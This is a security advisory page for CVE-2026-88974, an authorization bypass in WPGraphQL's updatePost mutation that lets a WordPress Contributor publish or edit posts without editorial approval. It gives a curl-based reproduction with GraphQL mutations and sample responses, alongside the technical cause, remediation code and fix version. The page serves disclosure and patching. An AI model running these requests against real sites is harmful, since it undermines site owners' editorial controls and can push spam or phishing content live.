CVE-2026-88974: WPGraphQL: Contributor can publish and modify posts without the required capabilities via updatePost

Published Sep 23, 2026
·
Updated

Summary

WPGraphQL 2.19.0 contains an authorization bypass in the updatePost mutation. An authenticated WordPress Contributor can change one of their own draft posts to PUBLISH despite lacking the publishposts capability. The same mutation also permits the Contributor to modify their own previously published posts despite lacking editpublishedposts and failing WordPress's object-level editpost capability check.

This bypasses the standard WordPress editorial workflow. The WordPress REST API correctly rejects the equivalent operations for the same user.

Affected software

- Plugin: WPGraphQL - Plugin slug: wp-graphql - Confirmed affected version: 2.19.0 - Plugin URL: https://wordpress.org/plugins/wp-graphql/ - Repository: https://github.com/wp-graphql/wp-graphql - WordPress version used for testing: 7.0.2 - WPGraphQL configuration: default settings

Only version 2.19.0 is claimed as confirmed because that is the version tested. The same authorization pattern appears in earlier source history, but those releases were not independently tested.

Vulnerability type

- Broken access control / authorization bypass - CWE-863: Incorrect Authorization - OWASP 2021: A01 – Broken Access Control - Minimum required role: Contributor

Technical cause

src/Mutation/PostObjectUpdate.php checks only the post type's collection-level editposts capability:

php if ( ! isset( $posttypeobject->cap->editposts ) || ! currentusercan( $posttypeobject->cap->editposts ) ) { // Reject request. }

It separately prevents a user from changing another author's post, but it does not perform WordPress's object-level check:

php currentusercan( $posttypeobject->cap->editpost, $postid )

It also does not check publishposts when the requested update changes the post status to publish. The mutation passes the requested status directly to wpupdatepost(), which expects its caller to have already enforced authorization.

By comparison, WPGraphQL's createPost implementation explicitly checks publishposts and changes an unauthorized requested status to pending. This protection is absent from updatePost.

Preconditions

1. WPGraphQL 2.19.0 is installed and activated using its default settings. 2. The attacker controls a normal WordPress Contributor account. 3. The attacker can authenticate to /graphql, for example with an Application Password over HTTPS or with their WordPress login cookie and a valid wpgraphql/wprest nonce.

No administrator action beyond assigning the standard Contributor role is required. The Contributor role has editposts, but does not have publishposts or editpublishedposts.

Reproduction

The following requests use an Application Password for concise remote reproduction. Replace the URL, username, and Application Password with values from the test installation. WordPress Application Passwords should be tested over HTTPS.

1. Create a draft as the Contributor

bash curl --user 'gqlcontributor:APPLICATIONPASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"query":"mutation { createPost(input:{title:\"Contributor publication bypass test\", content:\"Created by a Contributor and not reviewed by an editor.\", status:DRAFT}) { post { databaseId title status } } }"}' \ 'https://wordpress.example/graphql'

Example response:

json { "data": { "createPost": { "post": { "databaseId": 21, "title": "Contributor publication bypass test", "status": "draft" } } } }

Record the returned databaseId. The example below uses 21.

2. Verify that WordPress REST denies publication

Using the same Contributor credentials, attempt to publish the draft through the WordPress REST API:

bash curl --user 'gqlcontributor:APPLICATIONPASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"status":"publish"}' \ 'https://wordpress.example/wp-json/wp/v2/posts/21'

Expected control response:

json { "code": "restcannotpublish", "message": "Sorry, you are not allowed to publish posts.", "data": { "status": 403 } }

This establishes that the Contributor lacks the WordPress capability required for the operation.

3. Publish the same draft through WPGraphQL

bash curl --user 'gqlcontributor:APPLICATIONPASSWORD' \ -H 'Content-Type: application/json' \ --data-binary '{"query":"mutation { updatePost(input:{id:\"21\", status:PUBLISH}) { post { databaseId title status uri } } }"}' \ 'https://wordpress.example/graphql'

Observed response on WPGraphQL 2.19.0:

json { "data": { "updatePost": { "post": { "databaseId": 21, "title": "Contributor publication bypass test", "status": "publish", "uri": "/contributor-publication-bypass-test/" } } } }

The post is now publicly accessible without editorial approval.

4. Verify public exposure remotely

Open the returned uri without authentication, or query it without credentials:

bash curl -H 'Content-Type: application/json' \ --data-binary '{"query":"query { post(id:\"21\", idType:DATABASEID) { databaseId title status uri } }"}' \ 'https://wordpress.example/graphql'

The post is returned with status publish.

Additional affected operation

If an editor previously published a post owned by the Contributor, WordPress no longer allows that Contributor to edit it because Contributors lack editpublishedposts. Nevertheless, the following mutation changes its title and content:

graphql mutation { updatePost(input: { id: "PUBLISHEDPOSTDATABASEID" title: "Unauthorized change after editorial approval" content: "The Contributor can replace previously approved content." }) { post { databaseId title status } } }

In live testing, the REST API returned 403 restcannotedit for this operation while WPGraphQL returned the modified published post.

Security impact

A compromised or malicious Contributor account can bypass the site's editorial approval boundary and:

- Publish arbitrary posts without an Editor or Administrator approving them. - Publish spam, phishing, misleading, or SEO content under the attacker's account. - Modify content after an Editor has reviewed and published it. - Change the status of the attacker's previously published posts, potentially removing approved content from public view. - Repeat the process for additional drafts because Contributors can normally create drafts.

The issue affects the integrity of public site content and can affect availability of posts authored by the attacker. It does not allow modification of another author's posts, role escalation, administrator access, arbitrary code execution, or direct access to secrets. Normal WordPress content sanitization still applies to the Contributor's submitted HTML.

Suggested remediation

Before updating a post, enforce the post type's object-level meta capability with the target post ID, equivalent to WordPress REST behavior:

php if ( ! isset( $posttypeobject->cap->editpost ) || ! currentusercan( $posttypeobject->cap->editpost, $postid ) ) { throw new UserError( / authorization error / ); }

Status transitions should also enforce the relevant post type capabilities. In particular, changing a post to a public/future status should require the post type's publishposts capability. Tests should cover at least:

- Contributor updating their own draft: allowed. - Contributor publishing their own draft: denied or changed to pending. - Contributor editing their own previously published post: denied. - Author publishing and editing their own post: allowed. - Contributor editing another author's post: denied.

Other sources

WPGraphQL provides a GraphQL API for WordPress sites. Prior to 2.22.2, the updatePost mutation in src/Mutation/PostObjectUpdate.php checks only the collection-level editposts capability and the post author, but does not enforce the object-level editpost capability or require publishposts for public status transitions. An authenticated Contributor can therefore publish the Contributor's own draft without editorial approval or modify the Contributor's previously published post despite lacking editpublishedposts, while posts owned by other authors remain protected. This issue is fixed in version 2.22.2.

MITRE

Affected Software

2 affected components
WPGraphQL WPGraphQL<2.22.2
composer/wp-graphql/wp-graphql<2.22.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade wp-graphql to a version that resolves this vulnerability.

    Fixed in 2.22.2
  2. Compensating control

    Before updating a post, enforce the post type's object-level edit_post capability check with the target post ID, and require the post type's publish_posts capability for transitions to public or future status; status transitions must enforce the relevant post type capabilities.

Event History

Sep 23, 2026
CVE Published
via MITRE·02:11 PM
Data Sourced
via MITRE·02:11 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·02:13 PM
Data Sourced
via GitHub·02:13 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can exploit this issue, and what content is affected?

An authenticated user with the WordPress Contributor role can exploit it through WPGraphQL's updatePost mutation. The issue is limited to that contributor's own drafts and previously published posts; posts owned by other authors remain protected.

2

What unauthorized actions are possible?

A Contributor can change their own draft to a public status without the publish_posts capability and can modify their own previously published post without edit_published_posts. This bypasses the normal editorial approval and published-post editing restrictions.

3

Are sites running the affected functionality exposed by default?

The issue is in the updatePost mutation provided by WPGraphQL, so exploitation requires an authenticated Contributor account and access to that mutation. The provided data does not identify any additional configuration prerequisite.

4

How can this be remediated?

Upgrade WPGraphQL to version 2.22.2, which fixes the missing object-level capability and publishing checks.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203